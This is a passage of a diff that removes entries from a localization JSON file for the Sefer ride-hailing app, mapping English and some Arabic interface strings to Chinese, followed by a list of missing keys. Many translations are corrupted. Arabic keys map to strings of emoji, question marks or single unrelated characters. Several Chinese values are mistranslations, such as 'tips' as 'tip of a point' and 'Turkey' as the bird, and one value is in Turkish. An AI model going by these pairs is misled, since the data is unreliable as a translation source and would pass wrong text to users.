"Duration of Trip is": "行程持续时间为", - "Minutes": "分钟", - "Apply Order": "申请订单", - "Refuse Order": "拒绝订单", - "Rate Captain": "评分队长", - "Enter your Note": "输入您的备注", - "Type something...": "输入一些东西...", - "Submit rating": "提交评分", - "Rate Passenger": "票价乘客", - "Ride Summary": "骑行总结", - "welcome_message": "欢迎消息", - "app_description": "应用程序描述", - "get_to_destination": "到达目的地", - "get_a_ride": "搭个便车", - "safe_and_comfortable": "安全舒适", - "committed_to_safety": "致力于安全", - "Driver Applied the Ride for You": "司机为您申请行程", - "Show latest promo": "显示最新促销", - "Cancel Trip": "取消行程", - "Passenger Cancel Trip": "乘客取消行程", - "Please stay on the picked point.": "请留在选定的点上。", - "Trip is Begin": "旅行开始了", - "Hi ,I will go now": "嗨,我现在就去", - "Passenger come to you": "乘客来找你", - "Hi ,I Arrive your site": "你好,我到达你的网站", - "Driver Finish Trip": "司机完成行程", - "you will pay to Driver": "您将支付给司机", - "Driver Cancel Your Trip": "司机取消您的行程", - "you will pay to Driver you will be pay the cost of driver time look to your SEFER Wallet": "您将向司机付款 您将支付司机时间费用 请查看您的 SEFER 钱包", - "I will go now": "我要走了", - "You Have Tips": "你有秘诀", - "tips": "尖端", - "Total is": "总计为", - "الْمَجْمُوع هُوَ": "🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟", - "No,I want": "不,我想", - "Your fee is": "您的费用是", - "Do you want to pay Tips for this Driver": "您想为此司机支付小费吗", - "Tip is": "提示是", - "Camera Access Denied.": "相机访问被拒绝。", - "Open Settings": "打开设置", - "GPS Required Allow !.": "需要 GPS 允许!。", - "Your Account is Deleted": "您的帐户已删除", - "Are you sure to delete your account?": "您确定要删除您的帐户吗?", - "Your data will be erased after 2 weeks": "您的数据将在 2 周后被删除", - "And you will can't return to use app after 1 month": "1 个月后您将无法返回使用应用程序", - "وَلَن تَسْتَطِيع اسْتِخْدَام التَّطْبِيق مَرَّة أُخْرَى بَعْد شَهْر": "驶", - "Enter Your First Name": "输入您的名字", - "Are you Sure to LogOut?": "您确定要退出吗?", - "Email Wrong": "电子邮件错误", - "Email you inserted is Wrong.": "您输入的电子邮件有误。", - "You have finished all times": "你已经完成了所有时间", - "if you want help you can email us here": "如果您需要帮助,您可以在这里给我们发电子邮件", - "Thanks": "谢谢", - "Email Us": "给我们发电子邮件", - "I cant register in your app in face detection": "我无法在您的应用程序中注册人脸检测", - "Hi": "你好", - "No face detected": "未检测到人脸", - "Image detecting result is": "图像检测结果为", - "from 3 times Take Attention": "3次起 注意", - "Be sure for take accurate images please": "请务必拍摄准确的图像", - "You have": "你有", - "لَدَيْك": "😄😄😄😄😄", - "image verified": "图像已验证", - "Next": "下一个", - "There is no help Question here": "这里没有帮助问题", - "Call End": "通话结束", - "You dont have Points": "您没有积分", - "You Are Stopped For this Day !": "今天你就被阻止了!", - "You must be charge your Account": "您必须向您的帐户收费", - "You Refused 3 Rides this Day that is the reason": "您今天拒绝了 3 次乘车,这就是原因", - "See you Tomorrow!": "明天见!", - "لِقَائِنَا غَدًا!": "吖吖吖吖!", - "Recharge my Account": "为我的帐户充值", - "Ok , See you Tomorrow": "好的明天见", - "You are Stopped": "你被阻止了", - "Connected": "连接的", - "Not Connected": "未连接", - "Your are far from passenger location": "您距离乘客位置较远", - "go to your passenger location before": "前往您的乘客位置之前", - "Passenger cancel trip": "乘客取消行程", - "يُلْغِي الرَّاكِب الرِّحْلَة": "🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟🌟", - "You will get cost of your work for this trip": "您将获得本次旅行的工作费用", - "in your wallet": "在你的钱包里", - "you gain": "你获得", - "Order Cancelled": "订单已取消", - "Order Cancelled by Passenger": "乘客取消订单", - "Feedback data saved successfully": "反馈数据保存成功", - "No Promo for today .": "今天没有促销。", - "Select your destination": "选择您的目的地", - "Search for your Start point": "搜索您的起点", - "Search for waypoint": "搜索航点", - "Current Location": "当前位置", - "Add Location 1": "添加位置 1", - "You must Verify email !.": "您必须验证电子邮件!", - "Cropper": "农作物", - "Saved Sucssefully": "保存成功", - "Select Date": "选择日期", - "Birth Date": "出生日期", - "Ok": "好的", - "the 500 points equal 30 JOD": "500 点等于 30 JOD", - "the 500 points equal 30 JOD for you": "500 积分等于 30 JOD 给您", - "So go and gain your money": "所以去赚你的钱吧", - "فَاسْتَحِقَّ فُلُوسَك وَاكْسِب النِّقَاط": "❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️", - "token updated": "令牌已更新", - "Add Location 2": "添加位置 2", - "Add Location 3": "添加位置 3", - "Add Location 4": "添加位置 4", - "Waiting for your location": "等待你的位置", - "Search for your destination": "搜索您的目的地", - "Hi! This is": "你好!这是", - "I am using": "我在用", - "to ride with": "一起骑", - "as the driver.": "作为司机。", - "is driving a": "正在驾驶", - "with license plate": "有车牌的", - "I am currently located at": "我目前位于", - "Please go to Car now": "请立即前往汽车", - "If you need to reach me, please contact the driver directly at": "如果您需要联系我,请直接联系司机", - "No Car or Driver Found in your area.": "在您所在的地区找不到汽车或司机。", - "Please Try anther time": "请稍后尝试", - "There no Driver Aplly your order sorry for that": "没有司机申请您的订单,对此深表歉意", - "Trip Cancelled": "行程取消", - "The Driver Will be in your location soon .": "司机很快就会到达您所在的位置。", - "The distance less than 500 meter.": "距离小于500米。", - "Promo End !": "促销结束!", - "There is no notification yet": "目前还没有通知", - "Use Touch ID or Face ID to confirm payment": "使用 Touch ID 或 Face ID 确认付款", - "Contact us for any questions on your order.": "如果您对订单有任何疑问,请联系我们。", - "Pyament Cancelled .": "皮亚门特已取消。", - "type here": "在此输入", - "Scan Driver License": "扫描驾驶执照", - "Please put your licence in these border": "请将您的驾照放在这些边框内", - "Camera not initialized yet": "相机尚未初始化", - "Take Image": "拍摄图像", - "AI Page": "人工智能页面", - "Take Picture Of ID Card": "拍摄身份证照片", - "Take Picture Of Driver License Card": "拍摄驾驶执照卡的照片", - "We are process picture please wait": "我们正在处理图片请稍候", - "There is no data yet.": "还没有数据。", - "Name :": "姓名 :", - "Drivers License Class:": "驾驶执照类别:", - "Document Number:": "文件号码:", - "Address:": "地址:", - "Height:": "高度:", - "Expiry Date:": "到期日:", - "Date of Birth:": "出生日期:", - "You can\\\"t continue with us .": "你不能继续和我们在一起。", - "You should renew Driver license": "您应该更新驾驶执照", - "Detect Your Face": "检测你的脸", - "Go to next step": "进入下一步", - "scan Car License.": "扫描汽车驾照。", - "aاسْتِخْرَاج رُخْصَة السَّيَّارَة.": "是的。", - "Name in arabic": "阿拉伯语名称", - "Drivers License Class": "驾驶执照等级", - "Date of Birth": "出生日期", - "Age": "年龄", - "Lets check Car license": "让我们检查一下汽车牌照", - "Car Kind": "汽车种类", - "Car Plate": "车牌", - "Lets check License Back Face": "让我们检查许可证背面", - "Car License Card": "汽车牌照", - "No image selected yet": "尚未选择图像", - "Made :": "制成 :", - "model :": "模型 :", - "VIN :": "车辆识别号码:", - "year :": "年 :", - "ُExpire Date": "到期日期", - "Login Driver": "登录驱动程序", - "Password must br at least 6 character.": "密码必须至少包含 6 个字符。", - "if you don\\\"t have account": "如果您没有帐户", - "Here recorded trips audio": "这里记录了旅行音频", - "Register as Driver": "注册成为司机", - "Privacy Notice": "隐私声明", - "By selecting 'I Agree' below, I have reviewed and agree to the Terms of Use and acknowledge the": "通过选择下面的“我同意”,我已阅读并同意使用条款并承认", - ". I am at least 18 years of age.": "。我已年满 18 岁。", - "Log Out Page": "注销页面", - "Log Off": "注销", - "Register Driver": "注册驱动程序", - "Verify Email For Driver": "验证司机的电子邮件", - "Admin DashBoard": "管理仪表板", - "Your name": "你的名字", - "your ride is applied": "您的行程已被应用", - "Your password": "你的密码", - "H and": "手", - "LE": "LE", - "JOD": "乔德", - "m": "米", - "We search nearst Driver to you": "我们搜索离您最近的司机", - "please wait till driver accept your order": "请等待司机接受您的订单", - "No accepted orders? Try raising your trip fee to attract riders.": "没有接受订单?尝试提高行程费用以吸引乘客。", - "You should select one": "你应该选择一个", - "The driver accept your order for": "司机接受您的订单", - "Increase Fee": "增加费用", - "No, thanks": "不,谢谢", - "The driver on your way": "司机正在路上", - "Total price from": "总价从", - "Order Details Speed": "订单详情 速度", - "Order Applied": "已应用订单", - "accepted your order": "已接受您的订单", - "We regret to inform you that another driver has accepted this order.": "我们很遗憾地通知您,另一位司机已接受此订单。", - "Selected file:": "选定的文件:", - "Your trip cost is": "您的旅行费用是", - "this will delete all files from your device": "这将从您的设备中删除所有文件", - "you have a negative balance of": "您的余额为负数", - "in your": "在你的", - "Exclusive offers and discounts always with the Sefer app": "Sefer 应用程序始终提供独家优惠和折扣", - "Please go to Car Driver": "请前往汽车司机", - "wallet due to a previous trip.": "由于之前的旅行,钱包被掏空了。", - "Submit Question": "提交问题", - "Please enter your Question.": "请输入您的问题。", - "Help Details": "帮助详情", - "No trip yet found": "尚未找到行程", - "No Response yet.": "尚未回复。", - "You Earn today is": "您今天的收入是", - "You Have in": "你已经在", - "Total points is": "总分是", - "Total Connection Duration:": "总连接持续时间:", - "Passenger name :": "乘客姓名:", - "Cost Of Trip IS": "旅行费用是", - "Arrival time": "到达时间", - "arrival time to reach your point": "到达目的地的到达时间", - "For Speed and Delivery trips, the price is calculated dynamically. For Comfort trips, the price is based on time and distance": "对于速度和送货行程,价格是动态计算的。对于舒适旅行,价格根据时间和距离而定", - "Hello this is Driver": "你好,这是司机", - "Is the Passenger in your Car ?": "乘客在你的车里吗?", - "Please wait for the passenger to enter the car before starting the trip.": "请等待乘客上车后再开始行程。", - "No ,still Waiting.": "不,还在等待。", - "I arrive you": "我到达你", - "I Arrive your site": "我到达你的网站", - "You are not in near to passenger location": "您不在乘客位置附近", - "please go to picker location exactly": "请准确前往选取器位置", - "You Can Cancel Trip And get Cost of Trip From": "您可以取消行程并获取行程费用:", - "Are you sure to cancel?": "您确定要取消吗?", - "Yes": "是的", - "Insert Emergincy Number": "插入紧急号码", - "Best choice for comfort car and flexible route and stops point": "舒适用车、灵活路线和停靠点的最佳选择", - "Insert": "插入", - "This is for delivery or a motorcycle.": "这是用于送货或摩托车。", - "This trip goes directly from your starting point to your destination for a fixed price. The driver must follow the planned route": "此行程以固定价格直接从您的出发地前往目的地。司机必须按照计划的路线行驶", - "You can decline a request without any cost": "您可以拒绝请求,无需支付任何费用", - "Perfect for adventure seekers who want to experience something new and exciting": "非常适合想要体验新鲜刺激的冒险爱好者", - "My current location is:": "我当前的位置是:", - "and I have a trip on": "我有一次旅行", - "App with Passenger": "乘客应用程序", - "مع الراكب": "请注意", - "You will be pay the cost to driver or we will get it from you on next trip": "您将向司机支付费用,或者我们将在下次行程时向您收取费用", - "Trip has Steps": "旅行有台阶", - "Distance from Passenger to destination is": "乘客到目的地的距离为", - "price is": "价格是", - "This ride type does not allow changes to the destination or additional stops": "此行程类型不允许更改目的地或增加停靠站", - "This price may be changed": "此价格可能会更改", - "No SIM card, no problem! Call your driver directly through our app. We use advanced technology to ensure your privacy.": "没有SIM卡,没问题!通过我们的应用程序直接致电您的司机。我们使用先进的技术来确保您的隐私。", - "This ride type allows changes, but the price may increase": "此行程类型允许更改,但价格可能会上涨", - "message From passenger": "乘客留言", - "Select one message": "选择一条消息", - "My location is correct. You can search for me using the navigation app": "我的位置是正确的。您可以使用导航应用程序搜索我", - "I'm waiting for you": "我在等你", - "Hello, I'm at the agreed-upon location": "你好,我已经到了约定的地点", - "We noticed the speed is exceeding 100 km/h. Please slow down for your safety. If you feel unsafe, you can share your trip details with a contact or call the police using the red SOS button.": "我们注意到速度超过了 100 公里/小时。为了您的安全,请减速慢行。如果您感觉不安全,可以与联系人分享您的行程详细信息或使用红色 SOS 按钮报警。", - "Warning: Speeding detected!": "警告:检测到超速!", - "Please help! Contact me as soon as possible.": "请帮忙!尽快联系我。", - "Share Trip Details": "分享行程详情", - "Car Plate is": "车牌是", - "the 300 points equal 300 L.E for you": "300 点等于 300 L.E", - "the 300 points equal 300 L.E": "300 点等于 300 L.E", - "The payment was not approved. Please try again.": "付款未获批准。请再试一次。", - "Payment Failed": "支付失败", - "Error": "错误", - "An error occurred during the payment process.": "付款过程中发生错误。", - "The payment was approved.": "付款已获批准。", - "Payment Successful": "支付成功", - "No ride found yet": "尚未找到乘车路线", - "Accept Order": "接受订单", - "reject your order.": "拒绝您的订单。", - "Bottom Bar Example": "底栏示例", - "Driver phone": "司机电话", - "Statistics": "统计数据", - "Origin": "起源", - "Destination": "目的地", - "Driver Name": "司机姓名", - "Driver Car Plate": "司机车牌", - "Available for rides": "可乘坐", - "Scan Id": "扫描 ID", - "Camera not initilaized yet": "相机尚未初始化", - "Scan ID MklGoogle": "扫描 ID MklGoogle", - "Language": "语言", - "Jordan": "约旦", - "USA": "美国", - "Egypt": "埃及", - "Turkey": "火鸡", - "Saudi Arabia": "沙特阿拉伯", - "Qatar": "卡塔尔", - "Bahrain": "巴林", - "Kuwait": "科威特", - "But you have a negative salary of": "但你的工资为负数", - "Promo Code": "促销代码", - "Your trip distance is": "您的行程距离是", - "Enter promo code": "输入促销代码", - "You have promo!": "你有促销!", - "Cost Duration": "费用持续时间", - "Duration is": "持续时间是", - "Leave": "离开", - "Join": "加入", - "You Should be select reason.": "你应该选择理由。", - "\\$": "\\$", - "Waiting for Driver ...": "等待司机...", - "Latest Recent Trip": "最近最近的旅行", - "from your list": "从你的清单中", - "Do you want to change Work location": "您想更改工作地点吗", - "Do you want to change Home location": "您想更改家庭位置吗", - "We Are Sorry That we dont have cars in your Location!": "很抱歉,您所在的位置没有汽车!", - "Choose from Map": "从地图中选择", - "Pick your ride location on the map - Tap to confirm": "在地图上选择您的乘车地点 - 点击确认", - "To Work": "上班", - "Are you want to go this site": "你想去这个网站吗", - "Closest & Cheapest": "最近且最便宜", - "Work Saved": "工作已保存", - "Sefer is the ride-hailing app that is safe, reliable, and accessible.": "Sefer 是一款安全、可靠且易于使用的叫车应用程序。", - "With Sefer, you can get a ride to your destination in minutes.": "通过 Sefer,您可以在几分钟内乘车到达目的地。", - "Sefer is committed to safety, and all of our captains are carefully screened and background checked.": "Sefer 致力于安全,我们所有的船长都经过仔细的筛选和背景调查。", - "To Home": "回家", - "Home Saved": "已保存首页", - "Destination selected": "已选择目的地", - "Now select start pick": "现在选择开始选择", - "Pick from map": "从地图上选择", - "Click here point": "点击这里点", - "No Car in your site. Sorry!": "您的网站上没有汽车。对不起!", - "Nearest Car for you about": "距离您最近的汽车", - "N/A": "不适用", - "Get Details of Trip": "获取行程详情", - "If you want add stop click here": "如果您想添加停靠站,请单击此处", - "Driver": "司机", - "Where you want go": "你想去的地方", - "My Card": "我的卡", - "Start Record": "开始记录", - "Wallet": "钱包", - "History of Trip": "旅行历史", - "Helping Center": "帮助中心", - "Record saved": "记录已保存", - "Trips recorded": "记录的行程", - "Select Your Country": "选择您的国家/地区", - "To ensure you receive the most accurate information for your location, please select your country below. This will help tailor the app experience and content to your country.": "为确保您收到最准确的所在位置信息,请在下面选择您所在的国家/地区。这将有助于根据您所在的国家/地区定制应用程序体验和内容。", - "Are you sure to delete recorded files": "您确定要删除录音文件吗", - "Select recorded trip": "选择记录的行程", - "Card Number": "卡号", - "Hi, Where to": "你好,去哪里", - "Pick your destination from Map": "从地图中选择您的目的地", - "Add Stops": "添加停靠点", - "Get Direction": "得到指引", - "Add Location": "添加位置", - "Switch Rider": "开关骑手", - "You will arrive to your destination after timer end.": "计时器结束后您将到达目的地。", - "You can cancel trip": "您可以取消行程", - "The driver waitting you in picked location .": "司机在指定地点等候您。", - "Pay with Your": "用您的支付", - "Pay with Credit Card": "使用信用卡支付", - "Payment History": "支付历史", - "Show Promos to Charge": "显示促销活动以收费", - "Point": "观点", - "Driver Wallet": "司机钱包", - "Total Points is": "总积分为", - "Total Budget from trips is": "旅行总预算为", - "Total Amount:": "总金额:", - "Total Budget from trips by": "行程总预算", - "Credit card is": "信用卡是", - "بطاقة الائتمان هي": "巴巴巴", - "This amount for all trip I get from Passengers": "我从乘客那里得到的所有行程的金额", - "Pay from my budget": "从我的预算中支付", - "This amount for all trip I get from Passengers and Collected For me in": "这笔金额是我从乘客处获得并为我收取的所有行程的金额", - "You can buy points from your budget": "您可以从预算中购买积分", - "insert amount": "插入量", - "You can buy Points to let you online": "您可以购买积分让您上网", - "by this list below": "通过下面的列表", - "من خلال القائمة أدناه": "🇨🇳 🇨🇳", - "Create Wallet to receive your money": "创建钱包来接收您的钱", - "Enter your feedback here": "在此输入您的反馈", - "Please enter your feedback.": "请输入您的反馈。", - "Feedback": "反馈", - "Click here to Show it in Map": "单击此处在地图中显示它", - "Canceled": "取消", - "Type your Email": "输入您的电子邮件", - "No I want": "不,我想", - "Email is": "电子邮件是", - "Phone Number is": "电话号码是", - "Date of Birth is": "出生日期是", - "Sex is": "性别是", - "Car Details": "汽车详情", - "VIN is": "车辆识别号是", - "Color is": "颜色是", - "Make is": "品牌是", - "Model is": "型号是", - "Year is": "年份是", - "Edit Your data": "编辑您的数据", - "write vin for your car": "为您的汽车写入 vin", - "write Color for your car": "为你的车写颜色", - "write Make for your car": "为你的汽车写下“Make for your car”", - "write Model for your car": "为您的汽车编写型号", - "write Year for your car": "写下你的车的年份", - "write Expiration Date for your car": "写下您的汽车的到期日期", - "Tariffs": "关税", - "Minimum fare": "最低票价", - "Maximum fare": "最高票价", - "Flag-down fee": "降旗费", - "Including Tax": "含税", - "BookingFee": "预订费", - "Morning": "早晨", - "from 07:30 till 10:30 (Thursday, Friday, Saturday, Monday)": "07:30 至 10:30(周四、周五、周六、周一)", - "Evening": "晚上", - "from 12:00 till 15:00 (Thursday, Friday, Saturday, Monday)": "12:00 至 15:00(周四、周五、周六、周一)", - "Night": "夜晚", - "You have in account": "您账户中有", - "Select Country": "选择国家", - "Ride Today :": "今天骑行:", - "After this period": "这段时间之后", - "You can\\\"t cancel!": "您无法取消!", - "لا تستطيع الغاء الرحله": "??????????????????????????????????????????????????????????????????????????????", - "from 23:59 till 05:30": "23:59 至 05:30", - "Rate Driver": "费率驱动因素", - "Total Cost is": "总成本为", - "Write note": "写笔记", - "Time to arrive": "到达时间", - "Ride Summaries": "骑行总结", - "Total Cost": "总成本", - "Average of Hours of": "平均小时数", - "is ON for this month": "本月已开启", - "Days": "天", - "Total Hours on month": "当月总小时数", - "Counts of Hours on days": "每天的小时数", - "OrderId": "订单号", - "created time": "创建时间", - "Speed Over": "超速", - "I will slow down": "我会放慢脚步", - "Map Passenger": "地图乘客", - "Be Slowly": "慢慢来", - "If you want to make Google Map App run directly when you apply order": "如果您想让Google Map App在申请订单时直接运行", - "You can change the language of the app": "您可以更改应用程序的语言", - "Your Budget less than needed": "您的预算低于所需", - "You can change the Country to get all features": "您可以更改国家/地区以获得所有功能", - "Change Country": "Ülke değiştir" - }, - "missing_keys": [ - "insert Driver national", - "🔍 Search & Inquiries", - "Driver not found", - "Service Agent", - "thanks", - "Syrian Documents Check", - "Giza", - "Please enter a valid phone number.", - "An error occurred: $error", - "Passenger not found", - " phone", - "⏳ Approval Queue", - "Image not available", - "Car Color", - "Add", - "تم إرسال رمز التحقق إلى رقمك ($phoneNumber)", - "of", - "Added successfully", - "message'].toString().tr : 'فشل تسجيل الدخول", - "send", - "Best Drivers", - "إنشاء حساب موظف", - "Server Error", - "Search by phone number", - "Error', 'Invalid OTP", - "Name English", - "Siro Service", - "تم إرسال رمز التحقق إلى رقمك ($phone)", - "YYYY-MM-DD", - "Image Upload Failed", - "${'Step", - "أدخل الرمز هنا", - "WhatsApp: Activation", - "notes'] ?? 'Enter notes here...", - "Error', 'Failed to send OTP", - "are you sure to pay to this driver gift", - "Save and Activate", - "رمز التحقق", - "Name Arabic", - "Done", - "New", - "Issues", - "WhatsApp: Support", - "📊 Reporting & Quality", - "لديك حساب بالفعل؟ ", - "نجاح", - "Driver has been activated successfully!", - "Please enter a value", - "⚡ Quick Actions", - "Passenger Not Found", - "Please enter a valid email.", - "موافق", - "Quick Search...", - "${'Please enter", - "No drivers found", - "🚗 Vehicle Management", - "Welcome back,", - "Alexandria", - "WhatsApp: Missing Docs", - "Add car", - "Edit car details", - "Driver details by national number", - "خطأ", - "Welcome call", - "Pending", - "Inatleq Service", - "Failed to update driver: ${decodedResponse is Map ? decodedResponse['message'] : 'failure'}", - "best driver", - "note'] ?? 'Enter notes after call", - "No Car found yet", - "تحقق", - "car plate", - "Search Details", - "Owner", - "خطأ', 'الرجاء إدخال رمز صحيح", - "Apply Ride", - "Order", - "Warning", - "Quick Communication" - ] -} \ No newline at end of file